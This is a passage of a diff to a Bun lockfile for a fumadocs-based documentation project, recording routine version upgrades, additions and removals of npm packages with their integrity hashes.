"sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="], + "chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], "class-variance-authority": ["class-variance-authority@0.7.1", "", { "dependencies": { "clsx": "^2.1.1" } }, "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg=="], @@ -642,6 +620,8 @@ "clsx": ["clsx@2.1.1", "", {}, "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA=="], + "cnfast": ["cnfast@0.1.0", "", { "bin": { "cnfast": "bin/cli.js" } }, "sha512-rH0jBKeLkVrK7NsZ5Ba2l7WdMBmm1k0FMpABeXUU1PgTUxbz3261gEuCSsrYuXo4BwAe3yCcIbQ93YyS52lOGQ=="], + "collapse-white-space": ["collapse-white-space@2.1.0", "", {}, "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw=="], "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="], @@ -664,7 +644,7 @@ "convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="], - "cookie": ["cookie@1.1.1", "", {}, "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ=="], + "cookie-es": ["cookie-es@3.1.1", "", {}, "sha512-UaXxwISYJPTr9hwQxMFYZ7kNhSXboMXP+Z3TRX6f1/NyaGPfuNUZOWP1pUEb75B2HjfklIYLVRfWiFZJyC6Npg=="], "copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="], @@ -696,9 +676,11 @@ "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="], + "dayjs": ["dayjs@1.11.23", "", {}, "sha512-QDTCU0M0MxR3hQfnlDJfwekQiaanm1ubOD231u73WBckQ/fsamwRLiE2GBz6D3a/xF1NgfiDLJjXBa1hYOYTtQ=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - "decode-named-character-reference": ["decode-named-character-reference@1.2.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q=="], + "decode-named-character-reference": ["decode-named-character-reference@1.3.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q=="], "dedent": ["dedent@1.7.2", "", { "peerDependencies": { "babel-plugin-macros": "^3.1.0" }, "optionalPeers": ["babel-plugin-macros"] }, "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA=="], @@ -716,21 +698,21 @@ "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="], - "electron-to-chromium": ["electron-to-chromium@1.5.263", "", {}, "sha512-DrqJ11Knd+lo+dv+lltvfMDLU27g14LMdH2b0O3Pio4uk0x+z7OR+JrmyacTPN2M8w3BrZ7/RTwG3R9B7irPlg=="], + "electron-to-chromium": ["electron-to-chromium@1.5.416", "", {}, "sha512-K6bvB2BjnNrugtIih6ewlbBI9DXa976jIdiIlRLHhBoEI9a4JaQjjHyF+A1IQI543aQYR4LnmOrT/K5fZj0aPA=="], "emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], - "enhanced-resolve": ["enhanced-resolve@5.21.6", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-aNnGCvbJ/RIyWo1IuhNdVjnNF+EjH9wpzpNHt+ci/m9He9LJvUN8wrCcXjp9cWsGNAuvSpVFTx/vraAFQ8qGjQ=="], + "enhanced-resolve": ["enhanced-resolve@5.24.5", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-L1l8TNvomm6UVW5B253AGxQagSQr+vGwhMlrrfRS2qmhx46AMpMVJKQYLvWYbysTMY8VoicOvzHzoHMbyzB+4A=="], "entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="], - "es-module-lexer": ["es-module-lexer@1.7.0", "", {}, "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA=="], + "es-module-lexer": ["es-module-lexer@2.3.2", "", {}, "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw=="], "esast-util-from-estree": ["esast-util-from-estree@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "unist-util-position-from-estree": "^2.0.0" } }, "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ=="], "esast-util-from-js": ["esast-util-from-js@2.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "acorn": "^8.0.0", "esast-util-from-estree": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw=="], - "esbuild": ["esbuild@0.28.0", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.0", "@esbuild/android-arm": "0.28.0", "@esbuild/android-arm64": "0.28.0", "@esbuild/android-x64": "0.28.0", "@esbuild/darwin-arm64": "0.28.0", "@esbuild/darwin-x64": "0.28.0", "@esbuild/freebsd-arm64": "0.28.0", "@esbuild/freebsd-x64": "0.28.0", "@esbuild/linux-arm": "0.28.0", "@esbuild/linux-arm64": "0.28.0", "@esbuild/linux-ia32": "0.28.0", "@esbuild/linux-loong64": "0.28.0", "@esbuild/linux-mips64el": "0.28.0", "@esbuild/linux-ppc64": "0.28.0", "@esbuild/linux-riscv64": "0.28.0", "@esbuild/linux-s390x": "0.28.0", "@esbuild/linux-x64": "0.28.0", "@esbuild/netbsd-arm64": "0.28.0", "@esbuild/netbsd-x64": "0.28.0", "@esbuild/openbsd-arm64": "0.28.0", "@esbuild/openbsd-x64": "0.28.0", "@esbuild/openharmony-arm64": "0.28.0", "@esbuild/sunos-x64": "0.28.0", "@esbuild/win32-arm64": "0.28.0", "@esbuild/win32-ia32": "0.28.0", "@esbuild/win32-x64": "0.28.0" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-sNR9MHpXSUV/XB4zmsFKN+QgVG82Cc7+/aaxJ8Adi8hyOac+EXptIp45QBPaVyX3N70664wRbTcLTOemCAnyqw=="], + "esbuild": ["esbuild@0.28.2", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.2", "@esbuild/android-arm": "0.28.2", "@esbuild/android-arm64": "0.28.2", "@esbuild/android-x64": "0.28.2", "@esbuild/darwin-arm64": "0.28.2", "@esbuild/darwin-x64": "0.28.2", "@esbuild/freebsd-arm64": "0.28.2", "@esbuild/freebsd-x64": "0.28.2", "@esbuild/linux-arm": "0.28.2", "@esbuild/linux-arm64": "0.28.2", "@esbuild/linux-ia32": "0.28.2", "@esbuild/linux-loong64": "0.28.2", "@esbuild/linux-mips64el": "0.28.2", "@esbuild/linux-ppc64": "0.28.2", "@esbuild/linux-riscv64": "0.28.2", "@esbuild/linux-s390x": "0.28.2", "@esbuild/linux-x64": "0.28.2", "@esbuild/netbsd-arm64": "0.28.2", "@esbuild/netbsd-x64": "0.28.2", "@esbuild/openbsd-arm64": "0.28.2", "@esbuild/openbsd-x64": "0.28.2", "@esbuild/openharmony-arm64": "0.28.2", "@esbuild/sunos-x64": "0.28.2", "@esbuild/win32-arm64": "0.28.2", "@esbuild/win32-ia32": "0.28.2", "@esbuild/win32-x64": "0.28.2" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], @@ -742,7 +724,7 @@ "estree-util-is-identifier-name": ["estree-util-is-identifier-name@3.0.0", "", {}, "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg=="], - "estree-util-scope": ["estree-util-scope@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0" } }, "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ=="], + "estree-util-scope": ["estree-util-scope@1.0.1", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0" } }, "sha512-B0np3dcdxqILX5e9nEi5/Fr4K7gL4oYFVPV1zRa2e9wRCbQoZZNWOZFYyoInvXUPJXBXjss+QXlWLJChDEHDkA=="], "estree-util-to-js": ["estree-util-to-js@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "astring": "^1.8.0", "source-map": "^0.7.0" } }, "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg=="], @@ -754,15 +736,15 @@ "execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="], - "exit-hook": ["exit-hook@2.2.1", "", {}, "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw=="], + "exit-hook": ["exit-hook@5.1.0", "", {}, "sha512-INjr2xyxHo7bhAqf5ong++GZPPnpcuBcaXUKt03yf7Fie9yWD7FapL4teOU0+awQazGs5ucBh7xWs/AD+6nhog=="], - "exsolve": ["exsolve@1.0.8", "", {}, "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA=="], + "exsolve": ["exsolve@1.1.1", "", {}, "sha512-9U/jZUgjnSGyntRr6y5Muu1MJcwFl6kPu7k8qLF0IMNfLqvw0NZ4nnVDq0RVoZ0RvCyumib4Ez3KYrVfilrw+g=="], "extend": ["extend@3.0.2", "", {}, "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="], "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], - "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], + "fast-uri": ["fast-uri@3.1.6", "", {}, "sha512-7Ical1vFEMr0onbVzEDIreM22I4khW+fzyQPwvAFWBp1iwdshSZRsL4jjRvPG9JP1uiqMHRto+YU6R2/CzDz5Q=="], "fault": ["fault@1.0.4", "", { "dependencies": { "format": "^0.2.0" } }, "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA=="], @@ -770,15 +752,15 @@ "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], - "framer-motion": ["framer-motion@12.42.0", "", { "dependencies": { "motion-dom": "^12.42.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-wp7EJnfWaaEScVygKv3e20udoRz+LbtxScsuTkakAxfXmt+ReC6WyPW2nINRAGvd+hG9odwcjBLyOTPjH5pBRA=="], + "framer-motion": ["framer-motion@13.1.1", "", { "dependencies": { "motion-dom": "^13.1.1", "motion-utils": "^13.0.0", "tslib": "^2.4.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-B/xn2TPS4f61cEBLFjiYlQFnBZUW1YVj/LM+C+N4OP8Rs95VLEI2ot/RlfBg111la/EiyECFaJJi/A3FWA8MUA=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], - "fumadocs-core": ["fumadocs-core@16.10.6", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^5.1.0", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.2.0", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x || 8.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-vd/hidAsC1d8ldrfCvr/vb/H46AC/iRm0Zp4SOWWWfa1iNoFw1mFIRGHwaNDB9ETkZPZ7xUwhi3QkhlXPrYbVw=="], + "fumadocs-core": ["fumadocs-core@16.15.4", "", { "dependencies": { "@fumari/image-size": "^0.1.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "npm-to-yarn": "3.2.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.4.3", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "yaml": "^2.9.0", "zbsearch": "^4.0.0" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x || 8.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-kdOuM0tvHkLWajnDu73BmtryPuUq4xsu610ssl1YMAm9fYF7BRmvYxx2apHbyf2Lt+7w8OEiWDTmB8Ja3zqp4Q=="], - "fumadocs-mdx": ["fumadocs-mdx@15.0.12", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.2.0", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.2.4", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.4.3" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.7.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-R4WenrNQxSKi+QU46Q1cscVWi+S90dj3As4jdN+vgChO2o0TVOj+FFIe3onWM7mglhPj53NxZp/upP+t/ryekQ=="], + "fumadocs-mdx": ["fumadocs-mdx@15.4.0", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.2", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "magic-string": "^1.2.2", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.7", "tinyexec": "^1.3.0", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "yaml": "^2.9.0", "yuku-analyzer": "^0.9.1", "zod": "^4.4.3" }, "peerDependencies": { "@fumadocs/satteri": "0.x.x", "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.15.3", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "satteri": "^0.10.5", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@fumadocs/satteri", "@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "satteri", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-bJCQfsckKUQ4x2pyz8OdASEAARVMB49kOej7njaJ3t+tYsP1HnwkmqiO8e/jdQHcv6JH3XkXWidTho3ZC/WBcA=="], - "fumadocs-ui": ["fumadocs-ui@16.10.5", "", { "dependencies": { "@fuma-translate/react": "^1.0.2", "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.14", "@radix-ui/react-collapsible": "^1.1.14", "@radix-ui/react-dialog": "^1.1.17", "@radix-ui/react-direction": "^1.1.2", "@radix-ui/react-navigation-menu": "^1.2.16", "@radix-ui/react-popover": "^1.1.17", "@radix-ui/react-presence": "^1.1.6", "@radix-ui/react-scroll-area": "^1.2.12", "@radix-ui/react-slot": "^1.3.0", "@radix-ui/react-tabs": "^1.1.15", "class-variance-authority": "^0.7.1", "lucide-react": "^1.20.0", "motion": "^12.40.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.2.0", "tailwind-merge": "^3.6.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.10.5", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-vd69ckYx/4a1aoJTCUJ5LBkqNeOFxm3r+8SK9bVYaeHJrY/n8+4W6b0soqxVqgj1UwNmgovoAg0vlsYmSxZBgQ=="], + "fumadocs-ui": ["fumadocs-ui@16.15.4", "", { "dependencies": { "@fuma-translate/react": "^1.0.2", "@fumadocs/tailwind": "0.1.1", "@radix-ui/react-accordion": "^1.2.20", "@radix-ui/react-collapsible": "^1.1.20", "@radix-ui/react-dialog": "^1.1.23", "@radix-ui/react-direction": "^1.1.4", "@radix-ui/react-navigation-menu": "^1.2.22", "@radix-ui/react-popover": "^1.1.23", "@radix-ui/react-presence": "^1.1.10", "@radix-ui/react-scroll-area": "^1.2.18", "@radix-ui/react-slot": "^1.3.3", "@radix-ui/react-tabs": "^1.1.21", "class-variance-authority": "^0.7.1", "cnfast": "^0.1.0", "lucide-react": "^1.34.0", "motion": "^13.1.1", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.4.3", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.15.4", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "takumi-js": "*" }, "optionalPeers": ["@types/mdx", "@types/react", "next", "takumi-js"] }, "sha512-MWtQyrTEEaxop7z8TPKTuBs3xMqxW32Sr9wBlbiPAm+MxmeOSU+bfRThrOJSAgvpXo99bbx3hxhNij0441pH8g=="], "gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="], @@ -792,7 +774,7 @@ "globrex": ["globrex@0.1.2", "", {}, "sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg=="], - "goober": ["goober@2.1.18", "", { "peerDependencies": { "csstype": "^3.0.10" } }, "sha512-2vFqsaDVIT9Gz7N6kAL++pLpp41l3PfDuusHcjnGLfR6+huZkl6ziX+zgVC3ZxpqWhzH6pyDdGrCeDhMIvwaxw=="], + "goober": ["goober@2.1.19", "", { "peerDependencies": { "csstype": "^3.0.10" } }, "sha512-U7veizMqxyKlM58+Z5j2ngJBH/r9siDmxpvNxSw0PylF6WQvrASJEZrxh1hidRBJc2jqoBVSyOban5u8m+6Rxg=="], "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], @@ -820,13 +802,13 @@ "highlightjs-vue": ["highlightjs-vue@1.0.0", "", {}, "sha512-PDEfEF102G23vHmPhLyPboFCD+BkMGu+GuJe2d9/eH4FsCwvgBpnc9n0pGE+ffKdph38s6foEZiEjdgHdzp+IA=="], - "html-parse-stringify": ["html-parse-stringify@3.0.1", "", { "dependencies": { "void-elements": "3.1.0" } }, "sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg=="], + "html-parse-stringify": ["html-parse-stringify@4.0.1", "", {}, "sha512-0zHsZJrK7S3K2aucXWL6ycoYJ/iNtIcFHC/nYQgFklPtrv5LpJctIiSCroWZWeuoXvuyFdzp6KzjJQ+OT5MfFw=="], "html-void-elements": ["html-void-elements@3.0.0", "", {}, "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg=="], "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], - "i18next": ["i18next@26.3.3", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-aYVegyBdXSO93CMMihvr47jI7GHSOcIahMpJX+qzUXDzW4xDJf2uenIA+45vDU+YhiVdcfsql70AC9RVdMNrHg=="], + "i18next": ["i18next@26.4.0", "", { "peerDependencies": { "typescript": "^5 || ^6 || ^7" }, "optionalPeers": ["typescript"] }, "sha512-rsmK5bFqsD1AetSFSIa43wtNR4WpvvH4p0tLEsTxkC7QTrfdFm06nbQ95bh8Og4wwaCnUEcm9DVYL2cgxitiQg=="], "ini": ["ini@1.3.8", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="], @@ -852,7 +834,7 @@ "is-wsl": ["is-wsl@2.2.0", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="], - "isbot": ["isbot@5.1.44", "", {}, "sha512-PGEHtwMnKbZpeSEXW2Utx+/JWed7dp6DiH0WWg33vGSDA7RUvpUeJSVlLrVkQ1RCpvDOUc/eH9ql7VsdbBZ8pA=="], + "isbot": ["isbot@5.2.2", "", {}, "sha512-iQcBXcd+Rv/pkubRyGh2utW2j1oPG5hZY6TUhVPpqK4G+o3IbxpJNx04hgksjc/N7GK5pEorUxDeg31cFgEk/w=="], "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], @@ -860,39 +842,37 @@ "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], - "js-yaml": ["js-yaml@5.2.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.mjs" } }, "sha512-YeLUMlvR4Ou1B119LIaM0r65JvbOBooJDc9yEu0dClb/uSC5P4FrLU8OCCz/HXWvtPoIrR0dRzABTjo1sTN9Bw=="], - - "jsesc": ["jsesc@3.0.2", "", { "bin": { "jsesc": "bin/jsesc" } }, 